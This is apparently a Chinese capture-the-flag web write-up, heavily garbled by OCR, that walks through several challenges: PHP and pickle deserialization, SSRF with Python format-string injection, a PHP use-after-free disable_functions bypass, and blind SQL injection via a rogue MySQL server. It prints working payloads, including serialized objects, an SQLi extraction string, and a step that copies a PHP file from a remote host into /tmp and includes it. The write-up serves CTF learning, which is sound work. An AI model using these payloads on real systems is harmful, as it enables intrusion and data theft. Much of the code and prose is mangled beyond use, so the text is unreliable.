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%: admin, content

,username,passwd,url,id,content,createtime

admin® N & :
username:admin
password:20200202goodluck goodluckAMEF
url:/eGlhb2x1dW5n
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o RILATLAEREHUCAH

BEiIRER

o TEVERYE N EIHEAR: <!--/eGlhb2x1dW5n/eGlhb2x1dW5nLnBocA==.php-->

<Sdivy
{seript tvpe="text/javascript” src="css/jquery. js"></script>
{script type="text/javascript” src="css/H-ui. js”"></script>

</body> -~

</html><!—/eGlhh2x1dW5n/eGlhb2x1dWonLnBocA==. php—>

o ZERIFEL—TF, EE: HMNARMYTFH

o ARLUARXFFZEM:LIBE, FRARIUBET (BRIRRIE B

e {# Hfile://localhost/var/iwww/html/eGlhb2xidW5n/eGlhb2xIdW5nLnBocA==php (FH127.0.0. 1IF & WARIT, J5RiL T IR A &0
i, J§6 H5 Tlocalhost, A i

o EHIf eGlhb2x1dW5n/eGlhb2x1dWsnLnBocA==.php



<?php

class trick{

public $gf;

public function content to file($content){
$passwd = $ GET[ 1;
if(preg_match( ,$passwd))

{

if(strpos($passwd, )){
echo file get contents( .$content);

public function aiisc_to_chr($number){
if(strlen($number)>2){
$str 5
$number = str_split($number,2);
foreach ($number as $num ) {
$str $str .chr($num);
}

return strtolower($str);

}

return chr($number);

}

public function calc(){

$gf=$this->gf;

if(!preg_match( , $gf)){
eval( .$gf. )
$content $this->aiisc_to_chr($content);
return $content;

s

bj
public function _ destruct(){

$this->content_to_file($this->calc());

bj
unserialize((base64 decode($_GET[ 1));

?>

o FHi— Tl check X4




DX
$_GET[ 15
parse_url($url);

D) $parts|[
)5

if(!preg_match( , $parts|
readfile($url);

}else{
die(

)i

)i

?>

o HETMMindexphpAHEE AT, BT datalm%, 2R

)§

$conn->query($sql);
$content = $r->fetch_array(MYSQL_ASSOC);

?>

o MRIGE )G, HIETE eGlhb2x1dwW5n/eGlhb2x1dWsnLnBocA==.php X1 BH —/ R FHb+ T F AL HAT, %rcontentslit
(B flag GEF/MEEpassSHHI, FHLZNHShHE T

o i 4rpayload A

print(s)
47847780474646477076657

new trick();
gf -(
serialize($tmp);

base64 encode(serialize($tmp));

o % payload: code=Tz010iJ@cmljayI6MTp7czoy0iInZiI7czoyNToifsvIx8vIyMfPy8jLycvIy8jIz8jIycrIziI7Q
&pass=a.passwd%0a20200202
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BT —MEPREE, £SUCTFHIguessgame

IR I T

class Animal:
def init_ (self, name, category):
self.name name

self.category category

__repr__(self):

return f

def eq_ (self, other):
return (other) is Animal self.name other.name self.category other.category
class RestrictedUnpickler(pickle.Unpickler):
def find class(self, module, name):
print(name)
if module
return (sys.modules|[
raise pickle.UnpicklingError( (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

def read(filename, encoding ):
with (filename, , encoding=encoding) as fin:

return fin.read()

@app.route( , methods=[
def index():
if request.args.get( E
return Response(read(__file_ ), mimetype

if request.method
try:
pickle data request.form.get( )
if b in base64.b64decode(pickle _data):
return
else:
result restricted_loads(base64.b64decode(pickle _data))
if (result) is Animal:
return
correct (result Animal(secret.name, secret.category))
return . (result, pickle data, correct)
except Exception as e:
print( (e))
return
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https://cloud.tencent.com/developer/article/1523852

\x80\x03
c__main__\nsecret\nN(S \nS \nd\x86b
c__main__\nsecret\nN(S \nS \nd\x86b

c__main__ \nAnimal\ng\x00)\x81q\x01}q\x02 (X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00aaaq\x04X\x08\x00\x00\x00cat
egoryq\x05X\x03\x00\x00\x00bbbqg\x06ub.

hackme

o A TIRIY, TETRE, KRIT Asessionx|FFILIIHEE

<?php
error_reporting(9);

include 'lib.php";

session_save path('session’);
ini_set('session.serialize handler', 'php_serialize');
session_start();

o Hrhcore XMRTHARAAEERARAMRYH, EAMIFRT —T, RAEFRELLE—LAH R, TRYE

payload: |0:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:4:"wuhu";}
e i core

o JHEFLAIT:



)s
error_reporting(9);
if (check session($ SESSION)) {

$sandbox . md5( I
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($ _POST[ 1)) {
$url = $ POST[ 1;
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match( , $url)) {
echo 5
} else {
$res parse_url($url);
if (preg_match( , $res|
$code = file_get_contents($url);
if (strlen($code) 4) {
@exec($code);
} else {

echo

)i
} else {
echo
}
} else {
highlight_file(__FILE_ );

2% 15 2 I 5 ¥ getshellfldata i 8 ) F1

Y = Fi getshellZ % hitcon2017
datat i F compress.zlib://data:@127.0.0.1/plain;base64,
f@fipayload (python2

import requests as r

from time import sleep

import random
import hashlib

(i))[2:].zfill(2))for i in shell ip.split(



http://www.bendawang.site/2017/11/15/Hitcon2017-Web-Writeup/

ip[8:10],
ip[6:8],
ip[4:6],
ip[2:4],
ip[0:2],

import hackhttp
hh = hackhttp.hackhttp()
for i in payload:
print(base64.b64encode(i).replace( 5 ).replace( 5 )))
data = tmp. (base64.bb6dencode(i).replace( 5 ).replace( )))
code, head, html, redirect, log hh.http( , raw=data)
print html

o EEshell, 3KfEflag
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<?php
error_reporting(9);
if(isset($_GET[ 1)&&isset($ GET[ 1)){
$begin ;
extract($_GET);
if($head )q{
die( )5

1
J

if(preg_match( s$head)){

1
J

if(preg_match( ,9url)){
die( )5

1
J

if(preg_match( ,%url)){
die(
)i

$funcname $head.

$ch $funcname();

if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,

$output = curl_exec($ch);

curl _close($ch);
}
else{
$output
b
echo sprintf($begin. ,$output);
s
else{
show_source(__FILE_);

o —MNHAYISSRFRE, JTEATR LR :

head=\ g8 1E % cur
begin=%1%$s %t 45 %A Bl &
url=http://127.0.0.1:8080

o EHL8080 1 [E &4 T -



Welcome to our FMKQ api, you could use the help information below To read file: /read/file=example&vipcode=example if you are not
vip, let vipcode=0,and you can only read /tmp/{file} Other functions only for the vip!!! 0

w ﬂ Elements Console Sources Network Performance Memory Application Security Audits Web Scraper HackBar

LOAD SPLIT EXECUTE TEST - sqLl - XS8s - LFI ~ SSTI ~ ENCODING ~ HASHING ~ THEME -~

URL
http:#/121.37.179.47:1101/?head=\&begin=%1$s&url=http://127.0.0.1:8080

W T4 O B 7 Bk =%, B U SR BB A & B & pythonE f¥api
FEIA (file} , BT AR KA TRF 5 TR

i payload ?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file=
{file.__class__.__init__ . _globals__ }%26vipcode=0

MEFER TR RRR, BRIVipHHERXER

"delattr': , 'lilter': , 'sorted': , 'oct': , ' loader ': | 'frozenset': , 'classmethod': , 'MemoryError': , ' impolises set
. 'object': , 'BlockingIOError': , 'isinstance': , 'memoryview': , 'id': , 'StopIteration': , 'help': Type help() for iat: &7
help, or help(object) for help about object., 'ProcessLookupError': , 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, ~issubclass’
. 'PendingDeprecationWarning': , "NotImplementedError': , "iter': , 'callable': , '"Connectionfrror': , 'FloatingPointError': ,
"True': True, 'hex': , 'property': , 'Ellipsis': Ellipsis, 'tuple': ., 'PermissionError': , 'copyright': Copyright (c) 2001-2016

Python Software Foundation. All Rights Reserved. Copyright (c¢) 2000 BeOpen.com. All Rights Reserved. Copyright (c¢) 1995-2001
Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum,

Amsterdam. All Rights Reserved., ' package ': '', 'TimeoutError': , 'Referencelrror': , 'Valuelrror': , 'ChildProcessError': ,
"super': , "input': , 'hash': , 'IndentationError': , 'ImportError': , 'type': , 'TabError': , 'ConnectionResetError': , "all': },
"WiB': . ' spec_ ': ModuleSpec (name="base. readfile', loader=< frozen importlib external.SourceFileLoader object at 0x7[de95bcdd68:
origin='/app/base/readlile.py'), ' loader ': < [rozen importlib_external.SourceFileLoader object at 0x7fde95bcdd68>,
"current_folder file': ['lib", 'media', 'opt', 'var', 'usr', 'mnt', 'bin', 'root', 'home', 'tmp', 'boot', 'sys', 'run', 'sbin',
"srv', '1ib64", 'etc', 'dev', 'proc', 'app', '.dockerenv', 'fl4g 1s h3re u will rua'], 'File': } is error0

w ﬂ Elements Console Sources Network Performance Memory Application Security Audits ‘Web Scraper HackBar

LOAD SPLIT EXECUTE TEST -~ sQLl - XSss - LFI - SSTI - ENCODING - HASHING ~ THEME

URL
http:/121.37.179.47:1101/2?head=\&begin=%1Ss&url=http://127.0.0.1:8080/read/file={file.__class__.__init__.__globals_ }%26vipcode=0

2D Enable POST ADD HEADER

HWiEpayload, EEWVipHIJEME {file. class_ . init_ . globals_ [vip].__init . globals_}

#E Hvipcode

'"ProcessLookupError': , 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'issubclass': , 'PendingDeprecationWarning': |
'"NotImplementedError': , "iter': , 'callable': , 'ConnectionError': , 'FleatingPointError': , 'True': True, "hex': , 'prope
'Ellipsis': Ellipsis, 'tuple': , 'PermissionError': , 'copyright': Copyright (¢) 2001-2016 Python Soltware Foundation. ALl |
Reserved. Copyright (¢) 2000 BeOpen. com. All Rights Reserved. Copyright (¢) 1995-2001 Corporation [or National Research Ini
All Rights Reserved. Copyright (¢) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., ' package '
'"TimeoutError': , 'Referencelrror': , 'ValueError': , 'ChildProcessCrror': , 'super': , 'input': , 'hash': , 'IndentationCr
"TmportError': , "type': , 'TabError': , 'ConnectionResetError': , 'all': }, 'vip': , 'random': ., ' loader_ ':

< frozen importlib external. SourceFileLoader object at 0x7fde95b83470>, 'vipcode':
' jvaCGx7zth34NTeUnK1MoQL fXkbVaF2BSDmrSOwllisuivd9ES '} is error0

4 ﬂ Elements Console Sources Network Performance Memory Application Security Audits ‘Web Scraper HackBar

LOAD SPLIT EXECUTE TEST -~ sQLl - Xss - LFI ~ SSTI -~ ENCODING -~ HASHING ~

URL
http:/121.37.179.47:1101/?head=\8&begin=%1S$s&url=http://127.0.0.1:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode=0




B Enable POST ADD HEADER

W AU B R ag, HXZ flag 1s_h3re_u will rua, HEFBE: HFRE2—NMHEHZR
FR%EE—TIEM: /app/base/vip.py M /app/base/readfile.py

fE readfile.py PRI EEFL

currert_lolaer_llle — currenL_lroiruer_1iie

def _ str_ (self):

if 'fl4g" in self.path: -
/’eturn " nonono, this folder is a Seeret!! !’/
else:
output = ' Welcome, dear vip! Here are what you want:\r\nThe file vou read is:\r\n
filepath = (self.path + ' /{vipfile}'). format (vipfile=self. file)
output += filepath
output += "‘r\n\r\nThe content ik:\r\n
try:
f = open(filepath, v )
content = f.read()

R}

f.close()
except:
content = can\’ t read
output += content
output += "‘r\n\r\nOther files under the same folder:\r\n’
output += ', join(current folder file)

return output

TN flag #E4T T iy, BT AR FR BB A f HR:
payload {file._class_ . _init_ . globals_ [_name_ ][9]}

EREARRE, BRETEGE, RWDEBELT {vipfile} , Frilik
B {vipfile. class__ . init__. globals_ [ _name_ ][9]} BiW

Welcome, dear vip! Here are what you want: The [ile vou read is: /fl4g ls h3re u will rua/flag The content is: [lag{qoSF2nKvwoGRI7aJ}
Other [iles under the same folder: [lag0

[x ﬂ Elements Console Sources Network Performance Memary Application Security Audits Web Scraper HackBar

LOAD SPLIT EXECUTE TEST - sqQLl -~ X88 -~ LFI ~ SSTI -~ ENCODING - HASHING -~ THEME -

URL
http://121.37.179.47:1101/?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={vipfile._class__.__init__._globals [ name_]
[91}4g_1s_h3re u_will rua/flag%26vipcode=hmEcaeyFNZPG8IuL7QHOPXVIbiSvk6WxYO5s02w.J4tz3MaCB

2 Enable POST ADD HEADER

PHP-UAF



o ITFEH)E, BREIEMIT:

amkdir($sandbox);
@chdir($sandbox);

if (isset($ REQUEST[
@eval($ REQUEST[

highlight file(_ FILE_);

SEANHAPRIL—AECKER
REIHBE T RERT

A BAMEN cmd #EATARAD AT

f& N cmd=phpinfo(); , EF&phpinfofiX(s &8

AT RITRA TSR

. $_SERVER][

ilTuuve I LULal value | IVIia>Ler valucs

default mimetype text/html text/html

disable classes

disable functions apache child_terminate,apache_setenv,chgrp,chmo | apache child terminate apache setenv,chgrp,chmo
d,chown,curl_exec,curl_ multi_exec,dl.exec,imap_mail, | d,chown,curl_exec,curl multi_exec,dl.exec,imap_mail,
imap_open,ini_alter,ini_restore,ini_set link,mail,openl | imap_open,ini_alter,ini_restore,ini_set link,mail,openl
og,parse_ini_file,passthru,pcntl_alarm,pcntl exec,pcn | og,parse ini_file,passthru,pcntl alarm,pentl_exec,pcn
tl fork,pcntl setpriority,pentl signal,pentl signal dis |t fork,pentl setpriority,pentl signal pentl signal_dis
patch,pcntl_sigprocmask,pentl_sigtimedwait,pcntl_si | patch,pentl_sigprocmask pentl_sigtimedwait, pentl_si
gwaitinfo,pcntl wait,pentl waitpid,pentl wstopsig,pc | gwaitinfo,pentl_wait, pentl_waitpid, pentl_wstopsig,pc
ntl wtermsig,popen, posix kill proc_get status proc_ | ntl wtermsig,popen,posix_killproc_get status proc
open,proc_terminate, putenv,readlink shell_exec,syml | open,proc_terminate putenv,readlink,shell_exec,syml
ink syslog,system ink,syslog,system

display errors On On

display startup errors Off Off

e Dl Kopen basedir

open_basedir

Jvar/www/html:/tmp

Jvar/www/html:/tmp

output_buffering

0

0

output_encoding

output handler




o AT TLRIHIJIANGE T, RKIHARRIT T, TREZDKBFTHRHA
e googlefligithuo—F php uaf apache
o WLIIBGFL, BFHAMBAZ: php7-backirace-bypass, —FB, I pwn("uname -a") BN pwn($_GET['pass'])

o MIZFEMR S5 2Ecopy® @ H M E A, XEEH#FcopyBItmpHFEF, copy("http://ip/1.txt","/tmp/233.php") B RNTEH K
AT TR S 5 B A B

e f& N ?2cmd=include(”/tmp/233.php");&pass=1s / HITa AT, EHEHFH

e f&£ X ?cmd=include("/tmp/233.php");&pass=/readflag , BtHlflag
nweb

o ITHEERE, R—ANERAME, A MEMERE, FANBERA#T —T, KMWadmin.html Fadmin.php

o BEMEEM — rdd rdd , FLATLLE S, A —Mflagfti, {HZ ST ES You don't have permission to

message:

[FAERLALENE
2020-02-24 21:17:26

i

J RSt EEEERaglslghs
2020-02-24 21:09:52

o ERXMAHESHILAER

VRO B B2 Blflag

WA 7 A SRR 2

flag.phpE ¥ Fflag! ! !


https://github.com/mm0r1/exploits

BN ZE—T

TEM A5, R AN R

flag.php B 455 F flag

EREHBRALHEN, MEAE— ThtmiJEg
EEMFES KM EtypeS 4, FHE <!-- 110 --> "R
F128gn R, ®Z—T (WATbbpilEsD , EM—NmERKHE P

FHFKIA P SR, B 1 flag F

rddrdd n
[
Search for flag B

AMERE, FUFLEEAN

#A1, BEIE: There is no flag............

HWIANT or1=1#, & There is flag!

AW B TE

JVA R B . ctf-2

FERHEABIER, KRBT A8, 2d—Ffuza, B8 Hselectilfrom®BEXNESeid
BT kst payloadit® 44, 314

: admin,fl4g,jd,user

: username,pwd,qq,flag,number,submission_date, shifumoney,money, truemoney, zhuangtai,bangding,beizhu,username,

pwd, tupian

o FZ&IRHiflagifipayload: base2 = "flag=1'or ascii(substr((selselectect flag frfromom flag),{},1))>{}%23"

£

ban



PS C:\Users\RDD\Desktop\xctf2e28\web_nweb> python2 1.py
.F

fl

fla

flag

flag{

flag{R

flag{Ro

flag{Rog

flag{Rogu

flag{Rogue

flag{Rogue-
flag{Rogue-M
flag{Rogue-My
flag{Rogue-MyS
flag{Rogue-MySq
flag{Rogue-MySql
flag{Rogue-MySql-
flag{Rogue-MySql-S
flag{Rogue-MySql-Se
flag{Rogue-MySqgl-Ser
flag{Rogue-MySql-Serv
flag{Rogue-MySql-Serve
flag{Rogue-MySql-Server
flag{Rogue-MySql-Server
flag{Rogue-MySqgl-Server https:/blog.csdn.net/qq_40

REHT —FKflag, HREHTFBAH TR Rogue-Mysql-Server , R — T RIAFIEER A REURR .
WAZFAH R, XER T ATEE2Kadminhtml, 2 —AERHE

ERIRIKNEES, BEPEAadming, TERTHE, BHHAPLRAEL: adnin
e2ecea8h80a96fb07f43a2f83c8b0960 , FIGMD5SEEE — F&: whoamiadmin

BhEE, Bk Rladmin.php, KILETPAFIH Rogue-MySql-Server HIIF



IP address [
i1 a8
EliE

M LR T FTHA, githuoB FFER, ERAMIERNMTAEAER, FREECRTANERA, BHmD, BSEEKHN
flag.php (EITEIR=HIflag.php RATREH flag, FTblflag.phps EHflag

RIEMEERIT

[root@izZz2zebzwjffnai8rtmfwe2Z Rogue-MySgl-Serverl]# python 1.py
INFO: root:Conn from: ('121.37.179.47', 144 )

INFO: root:auth okay

INFO: root:want file...

INFO: root:<7?php

error_reporting(0);

session_start();

//-1s-nday <™ tag
if(isset($ COOKIE["username"])&&isset($ SESSION['username']))
{

if(isset($ COOKIE["username"])&&$ SESSTON['type' 110)

{ hitr og.csdn.net/gq_4l(

flag{Rogue-MySql-Server-is-nday}


https://www.gem-love.com/

REEEREE

AR R R

A LB RS ERIAHA T

o JLH % HKIAH:

<?php

$pdo = new PDO( 5
$pdo->setAttribute(PDO: :ATTR_DEFAULT FETCH_MODE, PDO::FETCH_ASSOC);
$stmt = $pdo->prepare(

)5

$stmt->execute();

$result $stmt->fetchAll();
if (count($result) 9) {
if ($result[o][
include(
exit();

o WT—TF, REFM,
o HMRFTEMIIR. o HE adnin '-o0-' EffsiE Efag T


https://www.gksec.com/HNCTF2019-Final.html
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